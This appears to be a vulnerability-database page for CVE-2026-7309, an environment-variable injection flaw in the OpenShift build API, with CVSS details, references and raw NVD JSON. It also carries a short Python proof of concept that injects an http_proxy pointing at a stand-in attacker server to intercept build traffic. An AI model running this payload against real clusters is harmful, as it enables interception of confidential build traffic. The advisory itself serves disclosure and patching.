CVE-2026-7309

Description

A flaw was found in the OpenShift Container Platform build system. A user with the `edit` ClusterRole can inject arbitrary environment variables, such as `LD_PRELOAD` or `http_proxy`, into `docker-build` containers through the `buildconfigs/instantiate` API. This incomplete fix for a previous vulnerability allows for information disclosure, specifically impacting the confidentiality of build traffic.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:* - VULNERABLE

OpenShift Container Platform (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-7309: OpenShift Environment Variable Injection
# Description: Inject malicious env vars via buildconfigs/instantiate API

import requests
import json

TARGET_API = "https://<openshift-api>/apis/build.openshift.io/v1/namespaces/<namespace>/buildconfigs/<name>/instantiate"
TOKEN = "<your-token>"

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json"
}

# Payload injecting http_proxy to intercept traffic
payload = {
    "kind": "BuildRequest",
    "apiVersion": "build.openshift.io/v1",
    "env": [
        {
            "name": "http_proxy",
            "value": "http://attacker-server:8080"
        }
    ]
}

try:
    resp = requests.post(TARGET_API, headers=headers, data=json.dumps(payload), verify=False)
    if resp.status_code == 201:
        print("[+] Exploit successful: Build instantiated with proxy.")
    else:
        print(f"[-] Failed: {resp.status_code}, {resp.text}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7309
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7309
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7309/
[4] VulDB https://vuldb.com/cve/CVE-2026-7309
[5] https://access.redhat.com/security/cve/CVE-2026-7309
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2463451

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7309", "sourceIdentifier": "[email protected]", "published": "2026-04-28T13:19:24.847", "lastModified": "2026-05-07T02:16:00.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the OpenShift Container Platform build system. A user with the `edit` ClusterRole can inject arbitrary environment variables, such as `LD_PRELOAD` or `http_proxy`, into `docker-build` containers through the `buildconfigs/instantiate` API. This incomplete fix for a previous vulnerability allows for information disclosure, specifically impacting the confidentiality of build traffic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-7309", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463451", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}